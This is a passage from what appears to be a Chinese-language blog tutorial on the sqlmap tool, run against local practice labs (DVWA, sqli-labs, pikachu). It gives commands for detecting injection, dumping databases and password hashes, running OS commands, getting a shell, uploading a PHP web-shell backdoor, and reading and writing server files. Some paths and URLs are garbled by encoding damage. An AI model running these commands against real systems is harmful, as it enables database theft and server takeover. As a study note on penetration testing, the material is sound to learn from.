【SQL注入】之SQLMAP工具的使用
(本文僅為平時(shí)學(xué)習(xí)記錄,若有錯(cuò)誤請(qǐng)大佬指出,如果本文能幫到你那我也是很開心啦)
一、介紹
1.SQL注入工具:明小子、啊D、羅卜頭、穿山甲、SQLMAP等等
2.SQLMAP:使用python開發(fā),開源自動(dòng)化注入利用工具,支持12種數(shù)據(jù)庫(kù) ,在/plugins/dbms中可以看到支持的數(shù)據(jù)庫(kù)種類,在所有注入利用工具中它是最好用的!!!
3.支持的注入類型:bool、time、報(bào)錯(cuò)、union、堆查詢、內(nèi)聯(lián)
4.功能:
可以獲取用戶名、密碼、權(quán)限、角色、數(shù)據(jù)庫(kù)(表、字段、內(nèi)容)
可以爆破識(shí)別密文數(shù)據(jù)
getshell(反彈shell)
命令執(zhí)行
脫庫(kù)或刪庫(kù)
二、SQLMAP的目錄介紹:
| 目錄 | 介紹 |
| doc | 介紹文檔 |
| extra | sqlmap額外的功能,運(yùn)行cmd、執(zhí)行命令 |
| lib | sqlmap的核心功能代碼 |
| plugins | 包含12種數(shù)據(jù)庫(kù)的識(shí)別程序 |
| data | 存放一些攻擊過(guò)程種使用的工具或者命令 |
| /data/procs | 包含了mssql、mysql、oracle、postgresql這四種數(shù)據(jù)庫(kù)的觸發(fā)程序 |
| /data/shell | 遠(yuǎn)程命令、后門 |
| /data/txt | 表名、列名、UA字典 |
| /data/udf | 存放攻擊載荷(payload) |
| /data/XML | 存放檢測(cè)腳本(payload) |
| tamper | 包含各種繞過(guò)WAF的處理腳本 |
| thirdparty | 包含第三方插件,如顏色、優(yōu)化等等 |
| waf | 識(shí)別WAF的腳本 |
三、SQLMAP的工作流程
1.初始化
1 salmap -v 查看版本 2 salmap --update 更新
2.開始檢測(cè)
檢測(cè)之前是否注入過(guò)(會(huì)把當(dāng)前檢測(cè)URL 默認(rèn)存放在用戶家目錄中.sqlmap下的output),使用--output-dir可指定存放的目錄
解析URL,判斷URL是否可訪問(wèn)
檢測(cè)是否有WAF
sqlmap -u "目標(biāo)url" --identify-waf sqlmap -u "目標(biāo)url" --check-waf
執(zhí)行用戶輸入的參數(shù)
1 -u 指定URL 2 -p 指定參數(shù) 3 -v 指定顯示級(jí)別 4 --dbs 目標(biāo)服務(wù)器中的數(shù)據(jù)庫(kù) 5 --current-db 當(dāng)前數(shù)據(jù)庫(kù) 6 --tables 目標(biāo)數(shù)據(jù)庫(kù)有什么表 7 --columns 目標(biāo)表中有什么列 8 --dump 獲取數(shù)據(jù) 9 --batch 跳過(guò)問(wèn)詢(yes)之間執(zhí)行,批處理,在檢測(cè)過(guò)程中會(huì)問(wèn)用戶一些問(wèn)題,使用這個(gè)參數(shù)統(tǒng)統(tǒng)使用默認(rèn)值 10 --dbms 指定數(shù)據(jù)庫(kù)類型 11 --current-user 查看當(dāng)前用戶 12 --users 查看所有用戶 13 --passwords 數(shù)據(jù)庫(kù)密碼 14 --hostname 系統(tǒng)名稱 15 --banner 數(shù)據(jù)庫(kù)信息 16 --roles 數(shù)據(jù)庫(kù)用戶角色 17 等等
四、步驟詳解
GET型注入的SQLMAP利用方法:
1.判斷是否有注入點(diǎn)
sqlmap -u "目標(biāo)url"
當(dāng)看到探測(cè)的結(jié)果中有沒(méi)有環(huán)境參數(shù)(系統(tǒng)類型和數(shù)據(jù)庫(kù)類型),則表明有注入
2.查看所有數(shù)據(jù)庫(kù)
1 sqlmap -u "目標(biāo)_url" --dbs --dbms mysql 2 --dbms=DBMS 指定目標(biāo)數(shù)據(jù)庫(kù)類型
3.獲取當(dāng)前數(shù)據(jù)庫(kù)
sqlmap -u "目標(biāo)_url" --current-db --dbms mysql
4.獲取當(dāng)前數(shù)據(jù)庫(kù)下表
1 sqlmap -u "目標(biāo)_url" -D 庫(kù)名 --dbms mysql --tables --batch -v 2 -D DB 指定從某個(gè)數(shù)據(jù)庫(kù)查詢數(shù)據(jù) 3 -v 顯示信息的級(jí)別,一共有六級(jí): 4 0:只顯示python 錯(cuò)誤和一些嚴(yán)重信息 5 1:顯示基本信息(默認(rèn)) 6 2:顯示debug信息 7 3:顯示注入過(guò)程的payload 8 4:顯示http請(qǐng)求包 9 5:顯示http響應(yīng)頭 10 6:顯示http相應(yīng)頁(yè)面
5.獲取當(dāng)前數(shù)據(jù)庫(kù)中指定表下的字段
1 sqlmap -u "目標(biāo)url" -D 庫(kù)名 -T 表名 --columns 2 -T TBL 指定從某個(gè)表查詢數(shù)據(jù)
6.獲取指定字段對(duì)應(yīng)的數(shù)據(jù)內(nèi)容
1 sqlmap -u "目標(biāo)url" -D 庫(kù)名 -T 表名 -C 字段名1,字段名2,等等 --dump 2 -C COL 指定從某個(gè)列查詢數(shù)據(jù) 3 --dump 查詢指定范圍的全部數(shù)據(jù) 4 (對(duì)加密的密碼進(jìn)行彩虹表攻擊)
五、SQLMAP工具測(cè)試
GET型 ,測(cè)試使用DVWA中的SQL Injection模塊(Low級(jí)別)
1.檢測(cè)是否有注入點(diǎn)
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
翻譯(注入過(guò)程中詢問(wèn)的內(nèi)容):
|
sqlmap got a 302 redirect to 'http://127.0.0.1:80/dvwa/login.php' sqlmap得到302重定向到“http://127.0.0.1:80/dvwa/login.php” you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ua503vlvaom...715dscplg7;security=impossible;security=impossible') 您尚未聲明cookie,而服務(wù)器希望設(shè)置自己的cookie('phpsessid=ua503vlvaom…715dscplg7;security=impossible;security=impossible') |
由上圖可知,結(jié)果是跳轉(zhuǎn)到登錄頁(yè)面,是需要帶cookie的,查到session為nh9elbltn3coe0kgvdnq1l6755(在地址欄種輸入javascript:alert(document.cookie)查詢cookie)
sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
POST型注入的SQLMAP利用方法(這種方式GET型數(shù)據(jù)也可利用):
1.攔截?cái)?shù)據(jù)包
2.將攔截到的數(shù)據(jù)包保存在post.txt文件里
右鍵空白處,選擇Cope to file
3.查看post.txt的內(nèi)容
4.使用SQLMAP進(jìn)行檢測(cè)
1 python sqlmap.py -r C:UsersadminDesktoppost.txt -p "uname" --batch 2 -r 讀取指定的文件 3 -p 告訴SQLMAP測(cè)試哪個(gè)參數(shù)
六、cookie 注入
1.介紹:數(shù)據(jù)經(jīng)過(guò)cookie發(fā)送給服務(wù)器,cookie可以傳輸參數(shù),并且有注入點(diǎn)
2.cookie型注入利用方法(測(cè)試使用sqli-labs第20關(guān)):
抓取的數(shù)據(jù)包來(lái)源于下面的界面
將抓取到的數(shù)據(jù)包發(fā)送到Repeater模塊中,Go一下,查看回顯
檢測(cè)注入點(diǎn)
將此數(shù)據(jù)包保存在post_cookie.txt文件里(這個(gè)數(shù)據(jù)類型是GET型,當(dāng)時(shí)寫錯(cuò)了)
使用SQLMAP進(jìn)行檢測(cè)
python sqlmap.py -r C:UsersadminDesktoppost_cookie.txt --cookie "uname=12" --level 2
--level=LEVEL 執(zhí)行測(cè)試的等級(jí)(1-5,默認(rèn)是1,lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件內(nèi)可以看見各個(gè)level發(fā)送的payload)
或sqlmap.py -r C:UsersadminDesktoppost_cookie.txt --level 2
從回顯中可以看到,SQLMAP自動(dòng)將獲取到的數(shù)據(jù)記錄到了一個(gè)目錄下,進(jìn)入到該目錄下的127.0.0.1中,該目錄下的log記錄的檢查出的結(jié)果
七、XFF注入
注入基本過(guò)程(方法與cookie注入類似)
1.攔包
2.使用SQLMAP檢查注入點(diǎn)
GET型數(shù)據(jù):
sqlmap -u “目標(biāo)URL” -p “x-forwarded-for” -level 3
POST型數(shù)據(jù):
sqlmap -r post_xff.txt --level 3
八、UA注入
測(cè)試使用sqli-labs第18關(guān)
注入基本過(guò)程(方法與cookie注入類似)
1.攔包
2.使用SQLMAP檢查注入點(diǎn)
GET型數(shù)據(jù):
sqlmap -u “目標(biāo)URL” -p “user-agent” -level 3
POST型數(shù)據(jù):
1 sqlmap -r post_ua.txt --level 3 --dbms mysql --batch 2 --dbms 指定目標(biāo)數(shù)據(jù)庫(kù)類型 3 sqlmap -r post_ua.txt --level 3 --current-user 4 --current-user 查看當(dāng)前用戶
九、SQLMAP注入點(diǎn)執(zhí)行系統(tǒng)命令或交互式shell
1.條件:
數(shù)據(jù)庫(kù)有讀寫文件的權(quán)限
需要知道WEB站點(diǎn)的路徑(可使用select @@datadir)
2.使用SQLMAP執(zhí)行系統(tǒng)命令
1 sqlmap.py -u “目標(biāo)URL” --os-cmd=ipconfig 2 --os-cmd=OSCMD 執(zhí)行一句系統(tǒng)命令 3 sqlmap -r post_ua.txt --level 3 --os-cmd=ipconfig 執(zhí)行系統(tǒng)命令ipconfig 4 sqlmap -r post_ua.txt --level 3 --os-shell 獲取系統(tǒng)的shell 5 sqlmap -r post_ua.txt --level 3 --is-dba 判斷當(dāng)前用戶是否為管理員
十、延時(shí)注入
1 sqlmap.py -u "目標(biāo)url" --delay 2 2 --delay 2 延時(shí)2S注入
十一、執(zhí)行數(shù)據(jù)庫(kù)命令
命令:
1 --sql-query=QUERY 執(zhí)行一個(gè)sql語(yǔ)句 2 --sql-shell 創(chuàng)建一個(gè)sql的shell(獲取一個(gè)交互式的數(shù)據(jù)庫(kù)終端) 3 --sql-file=SQLFILE 執(zhí)行一個(gè)給定文件中的sql語(yǔ)句
注入利用:
測(cè)試使用pikachu里的sqli中字符型注入(需要在Github中查找資源并搭建)
1.瀏覽網(wǎng)站pikachu,http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢
2.使用SQLMAP檢測(cè)注入點(diǎn)
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢" --batch
3.根據(jù)回顯存在注入點(diǎn),使用SQLMAP執(zhí)行數(shù)據(jù)庫(kù)命令
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢" -p name --dbms mysql --os-cmd=whoami
在下圖紅框內(nèi)可以看到系統(tǒng)命令被正常執(zhí)行
翻譯(注入過(guò)程中詢問(wèn)的內(nèi)容):
|
Web服務(wù)器支持哪種Web應(yīng)用程序語(yǔ)言? [1]asp [2]ASPX [3]jsp [4]php(默認(rèn)) >4 是否希望sqlmap進(jìn)一步嘗試觸發(fā)完整路徑泄漏?[是/否]是 [21:34:02][警告]無(wú)法自動(dòng)檢索Web服務(wù)器文檔根目錄 要將什么用于可寫目錄? [1]公共位置(C:/xampp/htdocs/,C:/wamp/www/,C:/inetpub/wwwroot/')(默認(rèn)) [2]自定義位置 [3]自定義目錄列表文件 [4]蠻力搜索 >2 是否要檢索命令標(biāo)準(zhǔn)輸出?[是/否/否]是 命令標(biāo)準(zhǔn)輸出:“desktop-18q770sadmin” 請(qǐng)?zhí)峁┮粋€(gè)逗號(hào)分隔的絕對(duì)目錄路徑列表:f:phpstudy_64phpstudy_Prowww//路徑需要自己輸入 |
4.獲取一個(gè)交互式的數(shù)據(jù)庫(kù)終端
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢" -p name --dbms mysql --os-shell
在注入過(guò)程中會(huì)自動(dòng)生成后門文件
翻譯:
|
[21:40:33]文件暫存器已成功上載到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpupjuy.php [21:40:33]后門已成功上載到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpbaqhn.php |
在瀏覽器中兩個(gè)文件訪問(wèn)查看效果
http://127.0.0.1/tmpupjuy.php輔助工具,用來(lái)上傳木馬
http://127.0.0.1/tmpbaqhn.php木馬
其內(nèi)容為:
<?php $c=$_REQUEST["cmd"];
瀏覽http://127.0.0.1/tmpbaqhn.php?cmd=whoami,可以看到其功能
十二、SQLMAP 直連mysql數(shù)據(jù)庫(kù)
1 python sqlmap.py -d "mysql://root:root@目標(biāo)IP:3306/mysql" -f --banner --dbs --users 2 -f, --fingerprint 指紋信息,返回DBMS,操作系統(tǒng),架構(gòu),補(bǔ)丁等信息 3 --hostname 獲取系統(tǒng)信息 4 --banner 獲取數(shù)據(jù)庫(kù)信息 5 --roles 獲取數(shù)據(jù)庫(kù)用戶角色
十三、sqlmap注入利用Access
1.Access數(shù)據(jù)庫(kù):沒(méi)有庫(kù)的概念,打開數(shù)據(jù)庫(kù)文件看到只有表和字段以及內(nèi)容
2.Access注入過(guò)程(注意其特性,只有表和表下的字段內(nèi)容):
先探測(cè)注入點(diǎn)
獲取數(shù)據(jù)庫(kù)表
sqlmap.py -u "目標(biāo)url" --tables 獲取所有的數(shù)據(jù)表
獲取字段
sqlmap.py -u "目標(biāo)url" -T 表名 --columns 獲取字段
獲取字段內(nèi)容
sqlmap.py -u "目標(biāo)url" -T 表名 -C 字段名 --dump 獲取字段內(nèi)容
十四、SQLMAP結(jié)合BP日志進(jìn)行被動(dòng)式注入發(fā)現(xiàn)
測(cè)試在pikachu里的sqli中數(shù)字型注入
1.開啟BP2.1的日志記錄功能,并將日志內(nèi)容保存到桌面log.txt中
勾選后會(huì)彈出下面的窗口,我選擇的是已經(jīng)建好的文件log.txt,彈出警告,選擇Yes即可
2.抓包
3.在瀏覽器中多進(jìn)行幾次提交,需要提前關(guān)閉BP中的Intercept is on,然后打開log.txt,瀏覽器提交的數(shù)據(jù)全部進(jìn)入到了log.txt中
4.使用SQLMAP進(jìn)行檢測(cè)
1 sqlmap.py -l C:UsersadminDesktoplog.txt --batch 2 -l 后接一個(gè)log文件,可以是burp等的代理的log文件,之后sqlmap會(huì)掃描log中的所有記錄
翻譯(最后一句):
|
您可以在csv文件“c: usersadminappdatalocalsqlmapoutputesults-10302019_1119pm.csv”中找到以多目標(biāo)模式掃描的結(jié)果。 |
5.打開results-10302019_1119pm.csv文件,可知該URL中存在的注入類型
(Parameter:參數(shù)Technique:技術(shù))
SQLMAP指定測(cè)試注入的技術(shù):
1 python sqlmap.py -u “目標(biāo)URL” -dbms mysql --technique=T 2 --technique=TECH 指定所使用的技術(shù)(B:布爾盲注;E:報(bào)錯(cuò)注入;U:聯(lián)合查詢注入;S:文件系統(tǒng),操作系統(tǒng),注冊(cè)表相關(guān)注入;T:時(shí)間盲注; 默認(rèn)全部使用) 3 B: Boolean-based blind SQL injection(布爾型注入) 4 E: Error-based SQL injection(報(bào)錯(cuò)型注入) 5 U: UNION query SQL injection(可聯(lián)合查詢注入) 6 S: Stacked queries SQL injection(可多語(yǔ)句查詢注入) 7 T: Time-based blind SQL injection(基于時(shí)間延遲注入) 8 Q: inline_query SQL injection(內(nèi)聯(lián)注入)
十五、SQLMAP讀寫文件
命令:
1 --file-read=RFILE 從后端的數(shù)據(jù)庫(kù)管理系統(tǒng)文件系統(tǒng)讀取文件 (物理路徑) 2 --file-write=WFILE 編輯后端的數(shù)據(jù)庫(kù)管理系統(tǒng)文件系統(tǒng)上的本地文件 (mssql xp_shell) 3 --file-dest=DFILE 后端的數(shù)據(jù)庫(kù)管理系統(tǒng)寫入文件的絕對(duì)路徑
測(cè)試使用pikachu里的sqli中字符型注入
1.使用SQLMAP讀文件
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢" -p name --dbms mysql --file-read="F:phpStudy_64phpstudy_proWWWPDO_kuanjiezi.php"
翻譯:
|
正在獲取文件:“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php” 是否確認(rèn)已從后端DBMS文件系統(tǒng)成功下載遠(yuǎn)程文件“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”?[是/否]是 [23:57:05]本地文件'c: usersadminappdatalocalsqlmapoutput127.0.0.1filesf_u phpstudy_u phpstudy_u pro_www_u kuanjiezi.php'和遠(yuǎn)程文件'f:/phpstudy_u 64/phpstudy_u pro/www/pdo_u kuanjiezi.php'具有相同的大小(988b) 文件保存到[1]: C:UsersadminAppDataLocalsqlmapoutput127.0.0.1files [23:57:05]獲取的數(shù)據(jù)記錄到文本文件中,位于“C:usersadminappdatalocalsqlmapoutput127.0.0.1”下 |
進(jìn)入C:usersadminappdatalocalsqlmapoutput127.0.0.1目錄下,里面有讀取到的文件的記錄,使用SQLMAP讀取文件成功
2.使用SQLMAP寫文件
新建log.txt文件,并寫入以下內(nèi)容
使用SQLMAP寫文件
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢" -p name --dbms mysql --file-dest="F:phpStudy_64phpstudy_proWWWloglog.php(目標(biāo)服務(wù)器中的文件,絕對(duì)路徑)" --file-write="C:UsersadminDesktoplog.txt(攻擊者電腦中的文件路徑)"
翻譯:
|
是否要確認(rèn)本地文件“c:/users/admin/desktop/log.txt”已成功寫入后端DBMS文件系統(tǒng)(“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”)。[是/否]是 [00:08:58]遠(yuǎn)程文件“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”比本地文件“c:/users/admin/desktop/log.txt”(18b)大(19b) [00:08:58]獲取的數(shù)據(jù)記錄到文本文件中,位于“C:usersadminappdatalocalsqlmapoutput127.0.0.1”下 |
使用WinHex打開F:/phpstudy_64/phpstudy_Pro/www/loglog.php
使用瀏覽器進(jìn)行訪問(wèn),可以看到使用SQLMAP寫入文件成功
總結(jié)
以上是生活随笔為你收集整理的【SQL注入】之SQLMAP工具的使用的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: (周日赛)Sort the Array
- 下一篇: 事件Event对象